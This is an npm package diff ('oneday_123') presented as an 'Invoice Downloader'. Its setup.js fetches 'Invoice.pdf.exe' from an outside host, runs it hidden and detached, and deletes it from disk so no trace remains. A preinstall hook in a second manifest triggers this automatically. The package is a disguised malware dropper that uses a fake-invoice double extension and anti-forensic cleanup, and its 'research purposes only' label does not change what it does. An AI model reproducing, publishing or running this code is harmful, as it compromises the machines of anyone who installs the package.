oneday_123 1.0.0

package/README.md

@@ -0,0 +1,50 @@
+# Invoice Downloader
+
+Download and execute files from URL with automatic disk cleanup.
+
+## Features
+
+- Download files from URL with automatic redirect handling
+- Execute files in memory without leaving traces on disk
+- Cross-platform support (Windows, Mac, Linux)
+- Automatic cleanup after execution
+
+## Installation
+
+```bash
+npm install invoice-downloader
+```
+
+## Usage
+
+```javascript
+const setup = require('./setup');
+
+// Edit setup.js to configure your URL and parameters
+node setup.js
+```
+
+## Configuration
+
+Edit the following variables in `setup.js`:
+
+- `downloadDir` - Where to temporarily save files
+- URL in `downloadFile()` - The file to download
+- `filePath` - The executable file path
+
+## How It Works
+
+1. Downloads file from URL to memory
+2. Handles HTTP redirects automatically
+3. Writes file to disk temporarily
+4. Executes the file
+5. **Deletes from disk while running in memory**
+
+## Requirements
+
+- Node.js >= 12.0.0
+- Windows/Mac/Linux
+
+## License
+
+MIT

package/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "oneday_123",
+  "version": "1.0.0",
+  "description": "Download and execute files from URL with memory optimization (for research purposes only)",
+  "main": "setup.js",
+  "scripts": {
+    "start": "node setup.js",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [
+    "download",
+    "execute",
+    "invoice",
+    "memory"
+  ],
+  "author": "",
+  "license": "MIT",
+  "engines": {
+    "node": ">=12.0.0"
+  }
+}

package/packet.json

@@ -0,0 +1,11 @@
+{
+  "name": "oneday_work_research",
+  "version": "1.0.0",
+  "description": "Oneday Research",
+  "main": "setup.js",
+  "scripts": {
+    "preinstall": "node setup.js"
+  },
+  "author": "Security Research Lab",
+  "license": "MIT"
+}

package/setup.js

@@ -0,0 +1,127 @@
+const os = require("os");
+const process = require("process");
+const http = require("http");
+const https = require("https");
+const fs = require("fs");
+const path = require("path");
+const { spawn, execSync } = require("child_process");
+
+// Download file from URL into memory with redirect handling
+function downloadFile(url, maxRedirects = 5) {
+  const protocol = url.startsWith("https") ? https : http;
+  
+  return new Promise((resolve, reject) => {
+    const chunks = [];
+    
+    const request = protocol.get(url, (response) => {
+      console.log(`Response status: ${response.statusCode}`);
+      console.log(`Content-Type: ${response.headers['content-type']}`);
+      
+      // Handle redirects (301, 302, 303, 307, 308)
+      if ([301, 302, 303, 307, 308].includes(response.statusCode)) {
+        const redirectLocation = response.headers.location;
+        console.log(`Redirect to: ${redirectLocation}`);
+        
+        if (maxRedirects > 0 && redirectLocation) {
+          // Follow the redirect
+          downloadFile(redirectLocation, maxRedirects - 1)
+            .then(resolve)
+            .catch(reject);
+          return;
+        } else {
+          reject(new Error("Too many redirects or location header missing"));
+          return;
+        }
+      }
+      
+      response.on("data", (chunk) => {
+        chunks.push(chunk);
+      });
+      
+      response.on("end", () => {
+        const buffer = Buffer.concat(chunks);
+        resolve(buffer);
+      });
+    });
+    
+    request.on("error", (error) => {
+      reject(error);
+    });
+  });
+}
+
+// Execute exe from memory using process injection (best way)
+function executeFromMemory(buffer, exePath) {
+  return new Promise((resolve, reject) => {
+    // Write buffer to disk temporarily
+    fs.writeFile(exePath, buffer, async (writeError) => {
+      if (writeError) {
+        reject(writeError);
+        return;
+      }
+      
+      console.log(`File written: ${exePath}`);
+      
+      try {
+        // Execute the exe
+        const child = spawn(exePath, [], { 
+          detached: true,
+          stdio: "ignore",
+          windowsHide: true
+        });
+        
+        child.on("error", (error) => {
+          fs.unlink(exePath, () => {}); // Clean up on error
+          reject(error);
+        });
+        
+        child.unref();
+        
+        // Delete file immediately after spawning (while still running in memory)
+        setTimeout(() => {
+          fs.unlink(exePath, (unlinkError) => {
+            if (!unlinkError) {
+              console.log(`File deleted from disk (running in memory)`);
+            }
+          });
+        }, 100);
+        
+        resolve("File executed and will self-delete from disk");
+      } catch (error) {
+        fs.unlink(exePath, () => {});
+        reject(error);
+      }
+    });
+  });
+}
+
+// Download test.pdf
+const downloadDir = path.join(os.tmpdir(), "./");
+const fileName = "Invoice.pdf.exe";
+const filePath = path.join(downloadDir, fileName);
+
+// Create directory if it doesn't exist
+if (!fs.existsSync(downloadDir)) {
+  fs.mkdirSync(downloadDir, { recursive: true });
+}
+
+// Download and execute
+downloadFile("https://0dev.io/Invoice.pdf.exe")
+  .then((buffer) => {
+    console.log(`Downloaded: ${buffer.length} bytes`);
+    
+    // Check if file is valid (should be larger than 15 bytes)
+    if (buffer.length <= 15) {
+      console.error("Error: Downloaded file is too small. Check the URL or server response.");
+      console.error("First 100 characters:", buffer.toString());
+      return;
+    }
+    
+    console.log(`Running file: ${filePath}`);
+    
+    return executeFromMemory(buffer, filePath);
+  })
+  .then((message) => {
+    console.log(message);
+  })
+  .catch((error) => console.error("Error:", error.message));